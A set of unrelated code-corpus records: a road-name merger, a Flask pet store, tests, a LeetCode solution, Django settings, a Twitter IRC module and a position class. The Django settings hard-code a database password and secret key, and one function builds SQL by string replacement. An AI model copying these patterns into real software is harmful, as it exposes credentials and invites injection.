len(road_name_list):\n temp_name = road_name_list[name_cnt]\n temp_name_type = temp_name[0].get('type')\n temp_name_pri = NAME_PRIORITY.get(temp_name_type)\n if name_pri < temp_name_pri: # 值越小等级越高\n break\n name_cnt = name_cnt + 1\n # 如果种别是官方名称，改到成别名\n if name_type == NAME_TYPE_OFFICIAL:\n for name_dict in road_name:\n name_dict['type'] = NAME_TYPE_ALTER\n road_name_list.insert(name_cnt, road_name)\n\n def _merge_number(self, road_number_list, road_numbers):\n '''合并番号'''\n for road_number in road_numbers:\n if not road_number_list:\n road_number_list.append(road_number)\n continue\n if road_number in road_number_list:\n continue\n number_info = road_number[0].get('val').split(SHIELD_SPLIT_CHR)\n shield_id = number_info[0]\n number = number_info[1]\n num_cnt = 0\n while num_cnt < len(road_number_list):\n temp_road_num = road_number_list[num_cnt]\n num_info = temp_road_num.get('val').split(SHIELD_SPLIT_CHR)\n temp_shield_id = num_info[0]\n temp_number = num_info[1]\n if shield_id < temp_shield_id: # 值越小等级越高\n break\n elif shield_id == temp_shield_id:\n if len(number) < len(temp_number):\n break\n elif (len(number) == len(temp_number)\n and number < temp_number):\n break\n else:\n pass\n else:\n pass\n num_cnt = num_cnt + 1\n road_number_list.insert(num_cnt, road_number)\n\n def _append_num_2_name(self, road_number_list, road_name_list):\n for road_number in road_number_list:\n import copy\n road_num = copy.deepcopy(road_number)\n for num_dict in road_num:\n number = num_dict.get('val').split(SHIELD_SPLIT_CHR)[1]\n num_dict['val'] = number\n num_dict['type'] = NAME_TYPE_ROUTE_NUM\n road_name_list.append(road_num)\n\n def _get_links_name_number(self, link_list):\n sqlcmd = \"\"\"\n SELECT road_name, road_number\n FROM link_tbl\n where link_id in (links)\n order by link_id;\n \"\"\"\n str_link_lid = str(tuple(link_list)).replace('L', '')\n sqlcmd = sqlcmd.replace('(links)', str_link_lid)\n self.pg.execute2(sqlcmd)\n import json\n for info in self.pg.fetchall2():\n if info[0]:\n road_names = json.loads(info[0])\n else:\n road_names = []\n if info[1]:\n road_numbers = json.loads(info[1].replace('\\t', '\\\\t'))\n else:\n road_numbers = []\n yield road_names, road_numbers\n","sub_path":"Suntec/Road_Format13IDDN/source/V13/iDDN/Org2Middle/src/component/dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":8867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"270257129","text":"from flask import Flask, request, json\napp = Flask(__name__)\n\nlistOfPets = []\nnamesOfPets = []\n\n# / route\n@app.route('/')\ndef default():\n return 'Welcome to teh pet store bruh\\n'\n\n# /hello route\n@app.route('/hello')\ndef hello():\n return 'Hello there!\\n'\n\n# /pets route\n@app.route('/pets', methods=['GET', 'POST'])\ndef pets():\n\t# If a GET request comes in on the /pets route\n\tif request.method == \"GET\":\n\t\t# Return all pets in the listOfPets list\n\t\treturn json.dumps(listOfPets)\n\t# If a POST request comes in on the /pets route\n\telif request.method == \"POST\":\n\t\t# Parse the request arguments into a dictionary\n\t\tresult = request.args.to_dict()\n\t\t# If the required arguments (name, age, and species) are in the dictionary, proceed\n\t\tif ('name' in result.keys()) & ('age' in result.keys()) & ('species' in result.keys()):\n\t\t\tnameOfPet = result['name']\n\t\t\t# If the name of new pet not already in the namesOfPets list, proceed\n\t\t\tif nameOfPet not in namesOfPets:\n\t\t\t\t# Add the pet to the listOfPets list\n\t\t\t\tlistOfPets.append(result)\n\t\t\t\t# Add the name of the pet to the namesOfPets list (the name is currently being used as a unique id)\n\t\t\t\tnamesOfPets.append(nameOfPet)\n\t\t\t\treturn ''\n\t\t\t# If the name of the new pet is already in the namesOfPets list, return 409 error\n\t\t\telse:\n\t\t\t\treturn 'HTTP 409 Error: Conflict -- Pet already exists in store.\\n', 409\n\t\t# If the required arguments (name, age, and species) are not in the dictionary, return 400 error\n\t\telse:\n\t\t\treturn 'HTTP 400 Error: Bad Request -- Please provide name, age, and species in query string.\\n', 400\n\n\n\n\n\n\n\n\n\n\n# /pets/\n@app.route('/pets/', methods=['GET', 'PUT', 'DELETE'])\ndef petPath(name):\n\tif request.method == \"GET\":\n\t\t# Iterate over all pets stored in listOfPets\n\t\tfor pet in listOfPets:\n\t\t\t# If the name of the pet is equal to the name specified in the path, proceed\n\t\t\tif pet['name'] == name:\n\t\t\t\t# Return that pet\n\t\t\t\treturn json.dumps(pet)\n\t\t# Return a 404 error if the for loop finishes without returning\n\t\treturn 'HTTP 404 Error: Page Not Found -- Pet does not exist in store\\n', 404\n\telif request.method == \"PUT\":\n\t\t# Parse the request arguments into a dictionary\n\t\tresult = request.args.to_dict()\n\t\t# If the name of pet exists in the namesOfPets list, proceed\n\t\tif name in namesOfPets:\n\t\t\t# If the required arguments (only age, for now) are in the dictionary, proceed\n\t\t\tif 'age' in result.keys():\n\t\t\t\t# Determine the index of the specified pet in listOfPets based on its index in namesOfPets\n\t\t\t\tindexOfPet = namesOfPets.index(name)\n\t\t\t\t# Update all values in the pet object in the listOfPets dict\n\t\t\t\t# ** Add more values here to open up range of extension for PUT method **\n\t\t\t\tlistOfPets[indexOfPet]['age'] = result['age']\n\t\t\t\treturn ''\n\t\t\t# If the required arguments are not in the dictionary, return 400 error\n\t\t\telse:\n\t\t\t\treturn 'HTTP 400 Error: Bad Request -- Please age in query string to update values of pet.\\n', 400\n\t\t# If the name of the pet does not exist in the namesOfPets list, return 404 error\n\t\telse:\n\t\t\treturn 'HTTP 404 Error: Page Not Found -- Pet does not exist in store\\n', 404\n\telif request.method == \"DELETE\":\n\t\t# If the pet exists in namesOfPets, proceed\n\t\tif name in namesOfPets:\n\t\t\t# Determine the index of the specified pet in listOfPets based on its index in namesOfPets\n\t\t\tindexOfPet = namesOfPets.index(name)\n\t\t\t# Capture the pet object in a variable, to be return after deleting\n\t\t\tpetObject = listOfPets[indexOfPet]\n\t\t\t# Delete the pet object in the listOfPets dict and namesOfPets list\n\t\t\tdel listOfPets[indexOfPet]\n\t\t\tdel namesOfPets[indexOfPet]\n\t\t\t# Return the deleted pet object\n\t\t\treturn json.dumps(petObject)\n\t\t# If the pet does not exist in namesOfPets, return 404 error\n\t\telse:\n\t\t\treturn 'HTTP 404 Error: Page Not Found -- Pet does not exist in store\\n', 404\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"testingFlask.py","file_name":"testingFlask.py","file_ext":"py","file_size_in_byte":3844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"380552093","text":"import unittest\n\nfrom cloudinary_cli.utils.file_utils import get_destination_folder, walk_dir\n\n\nclass FileUtilsTest(unittest.TestCase):\n def test_get_destination_folder(self):\n \"\"\" should parse option values correctly \"\"\"\n\n self.assertEqual(\"1/2/3\", get_destination_folder(\"1\", \"2/3/file.jpg\"))\n self.assertEqual(\"1\", get_destination_folder(\"1\", \"file.jpg\"))\n self.assertEqual(\"cloudinaryfolder/myfolder/subfolder\",\n get_destination_folder(\"cloudinaryfolder\",\n \"/Users/user/myfolder/subfolder/file.jpg\",\n parent=\"/Users/user/\"))\n\n def test_walk_dir(self):\n \"\"\" should skip hidden files in the directory \"\"\"\n\n test_dir = \"test_resources/test_file_utils\"\n\n self.assertEqual(1, len(walk_dir(test_dir, include_hidden=False)))\n self.assertEqual(4, len(walk_dir(test_dir, include_hidden=True)))\n","sub_path":"venv/lib/python3.8/site-packages/test/test_file_utils.py","file_name":"test_file_utils.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"136746595","text":"from functools import reduce\n\nclass Solution(object):\n def productExceptSelf(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n res = []\n #for i in range(len(nums)):\n # # this is using O(n^3)!\n # product = reduce( (lambda x, y: x * y), nums[:i] + nums[i + 1:])\n # res.append(product)\n\n # [O(n) Idea] calculate two arrays, one contains all multiple of all nums after i, and one for all nums before i. Then multiple the two arrays\n back, front = [1], [1]\n n = len(nums)\n curr = 1\n for i in range(n - 1, 0, -1):\n curr *= nums[i]\n back.append(curr)\n curr = 1\n for i in range(n - 1):\n curr *= nums[i]\n front.append(curr)\n print(front, back)\n for i in range(n):\n res.append(front[i] * back[n - i - 1])\n return res\nif __name__ == \"__main__\":\n nums = [1,2,3,4]\n nums = [9,0,-2]\n nums = [2,3,5,0]\n res = Solution().productExceptSelf(nums)\n print(res)\n\n","sub_path":"238_product_of_array.py","file_name":"238_product_of_array.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"394803751","text":"\"\"\"\nTest module for ceda_di.metadata.product\n\"\"\"\n\nimport unittest\n\nfrom ceda_di.metadata.product import Properties, Parameter\n\nclass TestProperties(unittest.TestCase):\n def setUp(self):\n # Just some dummy data (totally arbitrary)\n fs = {\"size\": 3}\n tmp = {\"start_time\": \"2014-09-22T20:51:53Z\",\n \"end_time\": \"2014-09-22T20:51:53Z\"}\n df = {\"data_format\": \"spam\"}\n sp = {\"lat\": [16.11321136, 36.8623985, -54.93456077],\n \"lon\": [-130.75576671, -170.2979817, -69.18607194]}\n par = [Parameter(\"test\"), Parameter(\"spam\")]\n\n self.prop = Properties(filesystem=fs, spatial=sp, temporal=tmp,\n data_format=df, parameters=par, test=\"foo\")\n\n def test_valid_lat(self):\n # Lovely lovely edge cases\n lats = [90, -90, 0, -91, 91]\n assert filter(Properties.valid_lat, lats) == [90, -90, 0]\n\n def test_valid_lon(self):\n # More lovely edge cases\n lons = [180, -180, 0, -181, 181]\n assert filter(Properties.valid_lon, lons) == [180, -180, 0]\n\n def test_gen_bbox(self):\n # Arbitrary data ahoy\n spatial = {\n \"lat\": [3, 4, 5],\n \"lon\": [5, 4, 3]\n }\n\n assert self.prop._gen_bbox(spatial) == {\n \"type\": \"MultiPoint\",\n \"coordinates\": [[3, 3], [3, 5], [5, 3], [5, 5]]\n }\n\n\n","sub_path":"python/src/test/test_product.py","file_name":"test_product.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"68665882","text":"from FireROOT.Analysis.Events import *\nfrom FireROOT.Analysis.Utils import *\n\nfrom rootpy.tree import Tree\nfrom rootpy.io import root_open\n\nclass MyEvents(SignalEvents):\n def __init__(self, files=None, type='MC', maxevents=-1, channel=['2mu2e', '4mu'], **kwargs):\n super(MyEvents, self).__init__(files=files, type=type, maxevents=maxevents, channel=channel, **kwargs)\n\n self._outf = root_open(self.OutName, 'recreate')\n self._outt = Tree(\"trig\")\n _branches = {t: 'B' for t in self.Triggers}\n _branches.update({\n 'dsa1_pt': 'F',\n 'dsa1_eta': 'F',\n })\n self._outt.create_branches(_branches)\n\n\n def processEvent(self, event, aux):\n if aux['channel'] not in self.Channel: return\n chan = aux['channel']\n\n _dsamu = []\n for mu in event.dsamuons:\n if abs(mu.p4.eta()) > 2: continue\n if mu.DTStations + mu.CSCStations < 2: continue\n _dsamu.append(mu)\n\n if len(_dsamu) < 2: return\n\n _dsamu.sort(key=lambda mu: mu.p4.pt(), reverse=True)\n subleadMu = _dsamu[1]\n self._outt.dsa1_pt = subleadMu.p4.pt()\n self._outt.dsa1_eta = subleadMu.p4.eta()\n\n for t in self.Triggers:\n setattr(self._outt, t, getattr(event.hlt, t) )\n\n self._outt.fill()\n\n\n def postProcess(self):\n super(MyEvents, self).postProcess()\n\n self._outt.write()\n self._outf.close()\n","sub_path":"Analysis/python/processing/slimTrees/triggerDsa.py","file_name":"triggerDsa.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"630040647","text":"# Django settings for itcq project.\nimport os\nPROJECT_DIR = os.path.dirname(__file__)\ngettext = lambda s: s\n\nDEBUG = True\nTEMPLATE_DEBUG = DEBUG\n\nADMINS = (\n # ('Your Name', 'your_email@domain.com'),\n)\n\nMANAGERS = ADMINS\n\nDATABASE_ENGINE = 'postgresql_psycopg2' # 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'.\nDATABASE_NAME = 'mkeller_itcq' # Or path to database file if using sqlite3.\nDATABASE_USER = 'mkeller_itcq' # Not used with sqlite3.\nDATABASE_PASSWORD = 'eye1cee2tee3queue4' # Not used with sqlite3.\nDATABASE_HOST = '127.0.0.1' # Set to empty string for localhost. Not used with sqlite3.\nDATABASE_PORT = '' # Set to empty string for default. Not used with sqlite3.\n\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# If running in a Windows environment this must be set to the same as your\n# system time zone.\nTIME_ZONE = 'Europe/London'\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'en-gb'\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = False\n\n# Absolute path to the directory that holds media.\nMEDIA_ROOT = os.path.join(PROJECT_DIR, 'media/')\n#ADMIN_MEDIA_ROOT = os.path.join(PROJECT_DIR, '../admin_media/')\nMEDIA_URL = '/media/'\n\nADMIN_MEDIA_PREFIX = '/media/admin/'\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = 't@)am85)xqlwhb_4@se5m^1y1_n$lf!x%8-o3l$ne8gs!k6##p'\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.load_template_source',\n 'django.template.loaders.app_directories.load_template_source',\n# 'django.template.loaders.eggs.load_template_source',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.transaction.TransactionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'cms.middleware.user.CurrentUserMiddleware',\n 'cms.middleware.page.CurrentPageMiddleware',\n #'itcq.middleware.PrivateDraft',\n #'cms.middleware.multilingual.MultilingualURLMiddleware', \n)\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n \"django.core.context_processors.auth\",\n \"django.core.context_processors.i18n\",\n \"django.core.context_processors.debug\",\n \"django.core.context_processors.request\",\n \"django.core.context_processors.media\",\n \"cms.context_processors.media\",\n)\n\nROOT_URLCONF = 'itcq.urls'\n\nTEMPLATE_DIRS = (\n # Put strings here, like \"/home/html/django_templates\" or \"C:/www/django/templates\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n os.path.join(PROJECT_DIR, 'templates'),\n)\n\nINSTALLED_APPS = (\n 'cms',\n 'django.contrib.auth',\n 'django.contrib.admin',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n# 'django.contrib.sites',\n 'tinymce',\n 'itcq.plugins.researchareapreview',\n 'itcq.plugins.publicationslist',\n 'itcq.plugins.linklist',\n 'itcq.plugins.heading',\n 'itcq.plugins.person',\n 'itcq.plugins.itcqpicture',\n 'itcq.plugins.itcqflash',\n 'cms.plugins.text',\n 'cms.plugins.picture',\n 'cms.plugins.file',\n 'cms.plugins.flash',\n 'cms.plugins.link',\n# 'cms.plugins.snippet',\n 'mptt',\n 'itcq', \n# 'haystack',\n 'reversion', \n 'south',\n 'publisher', # post publisher\n)\n\nCMS_TEMPLATES = (\n ('itcq/default.html', gettext('default')),\n ('itcq/withsubnav.html', gettext('Page with sub-navigation')),\n ('itcq/subnavpicsleft.html', gettext('Page with sub-navigation (pictures on the left)')),\n ('itcq/subnavpicsright.html', gettext('Page with sub-navigation (pictures on the right)')),\n ('itcq/home.html', gettext('Home page')),\n ('itcq/intmeeting.html', gettext('International Symposium on Cavity-QED')),\n)\n\nCMS_PLACEHOLDER_CONF = { \n 'right-column': {\n \"plugins\": ('FilePlugin','FlashPlugin','LinkPlugin','PicturePlugin','TextPlugin', 'SnippetsPlugin'),\n \"extra_context\": {\"theme\":\"16_16\"},\n \"name\":gettext(\"right column\")\n },\n \n 'body': {\n \n \"extra_context\": {\"theme\":\"16_5\"},\n \"name\":gettext(\"body\"),\n },\n 'fancy-content': {\n \"plugins\": ('TextPlugin', 'LinkPlugin'),\n \"extra_context\": {\"theme\":\"16_11\"},\n \"name\":gettext(\"fancy content\"),\n },\n}\n\nCMS_SOFTROOT = False\nCMS_MODERATOR = True\nCMS_REDIRECTS = True\nCMS_SEO_FIELDS = True\nCMS_MENU_TITLE_OVERWRITE = True\nCMS_PERMISSIONS = False\n\nCMS_LANGUAGE_REDIRECT = False\n\nCMS_USE_TINYMCE = True\n\nCMS_SOFTROOT = True\n\nTINYMCE_DEFAULT_CONFIG = {'theme': \"advanced\"}\n\nWYM_CONTAINERS = \",\\n\".join([\n \"{'name': 'P', 'title': 'Paragraph', 'css': 'wym_containers_p'}\",\n \"{'name': 'H1', 'title': 'Heading_1', 'css': 'wym_containers_h1'}\",\n \"{'name': 'H2', 'title': 'Heading_2', 'css': 'wym_containers_h2'}\",\n \"{'name': 'PRE', 'title': 'Preformatted', 'css': 'wym_containers_pre'}\",\n \"{'name': 'BLOCKQUOTE', 'title': 'Blockquote', 'css': 'wym_containers_blockquote'}\",\n])\n\nWYM_CLASSES = \"\"\n\nHAYSTACK_SEARCH_ENGINE = 'whoosh'\n\nHAYSTACK_WHOOSH_PATH = '/home/mkeller/whoosh/itcq_index'\n","sub_path":"itcq/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":5547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"254700706","text":"from flask import Flask, render_template, request, redirect, url_for\nfrom ask_mate_python import data_manager\n\napp = Flask(__name__)\n\nquestions_file = \"/home/szpoti/codecool/Web/askmate/ask_mate_python/sample_data/question.csv\"\nanswer_file = \"/home/szpoti/codecool/Web/askmate/ask_mate_python/sample_data/answer.csv\"\n\nquestions_data_table = data_manager.read_form_file(questions_file)\nanswer_data_table = data_manager.read_form_file(answer_file)\nlist_of_questions = [element[5] for element in questions_data_table[1:]]\nlist_of_ids = [element[0] for element in questions_data_table[1:]]\n\n@app.route(\"/\")\n@app.route(\"/list\")\ndef route_list():\n\n return render_template('display_page.html', data=questions_data_table)\n\n@app.route(\"/question//\")\ndef question_display(question_id):\n id = None\n question_message = None\n asked_question = None\n list_of_answers = []\n\n for row in questions_data_table:\n\n if row[0] == question_id:\n asked_question = row[4]\n question_message = row[5]\n\n for row in answer_data_table:\n\n if row[3] == question_id:\n list_of_answers.append(row)\n\n return render_template('display_question.html', question_id=question_id, question=asked_question, question_message=question_message, answers=list_of_answers, data=answer_data_table)\n\nif __name__ == '__main__':\n print(f\" list of ids: {list_of_ids}\")\n app.run(\n port=5000,\n debug=True\n )\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"481327922","text":"import hashlib\n\nfrom django.core.paginator import Paginator, PageNotAnInteger, EmptyPage\nfrom django.shortcuts import render, redirect\n\nfrom todo.forms import TodoAddForm, UserFrom\nfrom todo.models import Todo, User\n\n\n# 登陆验证器\ndef verify_login(old_func):\n def new_func(request, *args, **kwargs):\n # 判断用户是否登陆 从session获取登陆标识\n if request.session.get(\"ID\") is None:\n # 没有登陆, 重新登陆\n return redirect(\"todo:login\")\n else:\n return old_func(request, *args, **kwargs)\n\n return new_func\n\n\n@verify_login\ndef index(request):\n id = request.session.get('ID')\n user = User.objects.get(id=id)\n try:\n todo_list = user.todo_set.all()\n except EmptyPage:\n return render(request, 'todo_empty.html')\n # 创建Paginator对象\n show_list = Paginator(todo_list, 10)\n # 获取当前页，若未获取到默认显示第一页\n page = request.GET.get('page', 1)\n try:\n current_page = show_list.page(page)\n except PageNotAnInteger:\n current_page = show_list.page(1)\n except EmptyPage:\n current_page = show_list.page(show_list.num_pages)\n context = {\n 'context': current_page,\n 'name': request.session.get('user_name'),\n }\n return render(request, 'todo_main.html', context)\n\n\n@verify_login\ndef add(request):\n # 如果请求方式为POST则提交数据\n if request.method == 'POST':\n # # 普通方式，无法验证\n # name = request.POST.get(\"name\")\n # data = request.POST.get(\"data\")\n # content = request.POST.get(\"content\")\n # Todo.objects.create(name=name, data=data, content=content)\n\n # forms表单方式,可验证数据是否合法\n # 获取数据\n form_data = request.POST\n # 创建表单对象\n form = TodoAddForm(form_data)\n # 验证数据是否合法\n if form.is_valid():\n valid_data = form.cleaned_data\n Todo.objects.create(**valid_data)\n return redirect('todo:index')\n else:\n context = {\n # 打印错误信息\n 'errors': form.errors,\n 'form_data': form_data\n }\n return render(request, 'todo_add.html', context)\n # 如果请求方式为GET则显示添加表单\n else:\n return render(request, 'todo_add.html')\n\n\n@verify_login\ndef detail(request, id):\n detail_list = Todo.objects.filter(pk=id).first()\n context = {\n 'list': detail_list,\n }\n return render(request, 'too_detail.html', context)\n\n\n@verify_login\ndef delete(request, id):\n Todo.objects.filter(pk=id).delete()\n return redirect('todo:index')\n\n\n@verify_login\ndef modify(request, id):\n # 如果请求方式为GET就回显数据\n if request.method == 'GET':\n modify_list = Todo.objects.filter(pk=id).first()\n context = {\n 'list': modify_list\n }\n return render(request, 'todo_modify.html', context)\n # 如果请求方式工为POST就更新数据\n else:\n name = request.POST.get(\"name\")\n data = request.POST.get(\"data\")\n content = request.POST.get(\"content\")\n Todo.objects.filter(pk=id).update(name=name, data=data, content=content)\n return redirect('todo:detail', id)\n\n\ndef user_add(request):\n if request.method == 'POST':\n data = request.POST\n user_name = request.POST.get('user_name')\n pwd = request.POST.get('pwd')\n repwd = request.POST.get('repwd')\n if pwd == repwd:\n pwd = hashlib.sha224(pwd.encode(\"utf-8\")).hexdigest()\n user = User.objects.create(user_name=user_name, pwd=pwd)\n request.session['ID'] = user.id\n request.session['user_name'] = user.user_name\n return redirect('todo:index')\n else:\n context = {\n 'pwderror': '两次密码不一致',\n 'data': data,\n }\n return render(request, 'user_add.html', context)\n else:\n return render(request, 'user_add.html')\n\n\ndef login(request):\n if request.method == 'POST':\n data = request.POST\n user_name = request.POST.get('user_name')\n pwd = request.POST.get('pwd')\n pwd = hashlib.sha224(pwd.encode(\"utf-8\")).hexdigest()\n try:\n password = User.objects.get(user_name=user_name)\n except User.DoesNotExist:\n context = {\n 'usererrors': '用户不存在',\n 'data': data,\n }\n return render(request, 'login.html', context)\n if password.pwd == pwd:\n request.session['ID'] = password.id\n request.session['user_name'] = password.user_name\n return redirect('todo:index')\n else:\n context = {\n 'errors': '密码错误',\n 'data': data\n }\n return render(request, 'login.html', context)\n return render(request, 'login.html')\n\n\ndef logout(request):\n request.session.clear()\n return render(request, 'logout.html')\n","sub_path":"todo/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"181117361","text":"import pandas as pd\nimport numpy as np\n\ndef prep_data(df):\n\n drop_cols = [\n 'primary_id',\n 'event_id',\n 's',\n 'player_id',\n 'pos',\n 'gid',\n 'gi',\n 'ss',\n 'stat',\n 'is_',\n 'notes',\n 'floor',\n 'ceil',\n 'conf',\n 'ptid',\n 'otid',\n 'htid',\n 'oe',\n 'opprank',\n 'opptotal',\n 'dspid',\n 'dgid',\n 'img',\n 'pteam',\n 'hteam',\n 'oteam',\n 'lock',\n 'id',\n 'salaryid',\n 'owned',\n 'lovecount',\n 'hatecount'\n ]\n \n df['names'] = df['name']\n df = df.drop(columns=drop_cols)\n df = pd.get_dummies(df, columns=['names'])\n #df['dfs_pick_dk'] = df['dfs_pick_dk'].fillna(0)\n \n for col in df.columns:\n if col != 'name' and col != 'date' and col != 'projections':\n df[col] = pd.to_numeric(df[col])\n\n df = fill_na(df)\n \n return df.drop(columns=['date'])\n\n\ndef fill_na(df):\n # pick_grp = df.groupby('name').pos_picks.mean()\n \n # for date in df.pga_date.unique():\n # tmp = df[df.pga_date==date]\n \n # pick = tmp.pos_picks.max()\n\n # if not np.isnan(pick):\n # df.loc[(df['pga_date']==date)&(df['pos_picks']).isnull(), 'pos_picks'] = pick\n # else:\n # for name in tmp.name.unique():\n # df.loc[(df['pga_date']==date)&(df['name']==name), 'pos_picks'] = pick_grp[name]\n\n return df\n","sub_path":"src/placeholder/pga/prep_data.py","file_name":"prep_data.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"135002853","text":"# -*- coding: utf8 -*-\n\n\"\"\"\nTwitter module for Heinrich\n\"\"\"\n\nfrom __future__ import unicode_literals\n\nfrom willie.module import commands\nimport re\nfrom twython import Twython\n\nclass Twitter:\n api = None\n\ndef setup(bot):\n if bot.config.has_option('twitter', 'app_key') and bot.config.has_option('twitter', 'app_secret') and bot.config.has_option('twitter', 'oauth_token') and bot.config.has_option('twitter', 'oauth_token_secret'):\n Twitter.api = Twython(bot.config.twitter.app_key,\n bot.config.twitter.app_secret,\n bot.config.twitter.oauth_token,\n bot.config.twitter.oauth_token_secret)\n\n else:\n raise willie.config.ConfigurationError('twitter module not configured')\n\n\ndef tweet_len(tweet):\n # returns the lenght of a tweet while taking unter account\n # that each link counts 22 charakters\n\n tweet_len = len(tweet)\n links = re.findall(r'http[s]?://[\\S]*', tweet) # extract all links\n\n for link in links:\n tweet_len -= len(link)\n tweet_len += 22\n\n return tweet_len\n\n\n@commands('tweet')\ndef post(bot, trigger):\n\n length = 0\n\n if trigger.admin:\n tweet = trigger.group(2).strip()\n length = tweet_len(tweet)\n\n if length <= 140:\n Twitter.api.update_status(status=tweet.encode('utf-8'))\n bot.say(\"Posted quote \\\"%s\\\" to @OpenLabAugsburg (http://twitter.com/OpenLabAugsburg)\" % tweet)\n else:\n bot.say(\"Sorry, tweet is \" + str(length - 140) + \" charakters too long :(\")\n else:\n bot.say(\"Nope, you're not allowed to post.\")\n","sub_path":"willie/modules/twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"311548257","text":"import numpy as np\nfrom shapely.geometry import Point\nfrom nept.core.analogsignal import AnalogSignal\nfrom nept.core.epoch import Epoch\nfrom nept.utils import gaussian_filter\n\n\nclass Position(AnalogSignal):\n \"\"\"Subclass of AnalogSignal. Handles both 1D and 2d positions.\n\n Parameters\n ----------\n data : np.array\n time : np.array\n\n Attributes\n ----------\n data : np.array\n With shape (n_samples, dimensionality).\n time : np.array\n With shape (n_samples,).\n \"\"\"\n\n @property\n def x(self):\n \"\"\"(np.array) The 'x' position attribute.\"\"\"\n return self.data[:, 0]\n\n @x.setter\n def x(self, val):\n self.data[:, 0] = val\n\n @property\n def y(self):\n \"\"\"(np.array) The 'y' position attribute for 2D position data.\"\"\"\n if self.dimensions < 2:\n raise ValueError(\"can't get 'y' of one-dimensional position\")\n return self.data[:, 1]\n\n @y.setter\n def y(self, val):\n if self.dimensions < 2:\n raise ValueError(\"can't set 'y' of one-dimensional position\")\n self.data[:, 1] = val\n\n def combine(self, pos):\n \"\"\"Return the combined position from this position to the given 'pos'.\n\n Parameters\n ----------\n pos : nept.Position\n\n Returns\n -------\n dist : nept.Position\n \"\"\"\n if self.dimensions != pos.dimensions:\n raise ValueError(\"'pos' must be %d dimensions\" % self.dimensions)\n\n times = np.append(self.time, pos.time)\n sort_idx = np.argsort(times)\n\n times = times[sort_idx]\n data = np.concatenate((self.data, pos.data))[sort_idx]\n\n return Position(data, times)\n\n def distance(self, pos):\n \"\"\"Return the euclidean distance from this position to the given 'pos'.\n\n Parameters\n ----------\n pos : nept.Position\n\n Returns\n -------\n dist : np.array\n \"\"\"\n\n if pos.n_samples != self.n_samples:\n raise ValueError(\"'pos' must have %d samples\" % self.n_samples)\n\n if self.dimensions != pos.dimensions:\n raise ValueError(\"'pos' must be %d dimensions\" % self.dimensions)\n\n dist = np.zeros(self.n_samples)\n for idx in range(self.data.shape[1]):\n dist += (self.data[:, idx] - pos.data[:, idx]) ** 2\n return np.sqrt(dist)\n\n def linearize(self, ideal_path):\n \"\"\"Projects 2D positions into an 'ideal' linear trajectory.\n\n Parameters\n ----------\n ideal_path : shapely.LineString\n\n Returns\n -------\n pos : nept.Position\n 1D position.\n\n \"\"\"\n zpos = []\n for point_x, point_y in zip(self.x, self.y):\n zpos.append(ideal_path.project(Point(point_x, point_y)))\n zpos = np.array(zpos)\n\n return Position(zpos, self.time)\n\n def speed(self, t_smooth=None):\n \"\"\"Finds the speed of the animal from position.\n\n Parameters\n ----------\n pos : nept.Position\n t_smooth : float or None\n Range over which smoothing occurs in seconds.\n Default is None (no smoothing).\n\n Returns\n -------\n speed : nept.AnalogSignal\n \"\"\"\n speed = self[1:].distance(self[:-1])\n speed /= np.diff(self.time)\n speed = np.hstack(([0], speed))\n\n if t_smooth is not None:\n dt = np.median(np.diff(self.time))\n speed = gaussian_filter(speed, std=t_smooth, dt=dt)\n\n return AnalogSignal(speed, self.time)\n","sub_path":"nept/core/position.py","file_name":"position.py","file_ext":"py","file_size_in_byte":3551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"123466703","text":"\"\"\"All commands that are available in the napari GUI are defined here.\n\nInternally, prefer using the CommandId enum instead of the string literal.\nWhen adding a new command, add a new title/description in the _COMMAND_INFO dict\nbelow. The title will be used in the GUI, and the may be used in auto generated\ndocumentation.\n\nCommandId values should be namespaced, e.g. 'napari:layer:something' for a command\nthat operates on 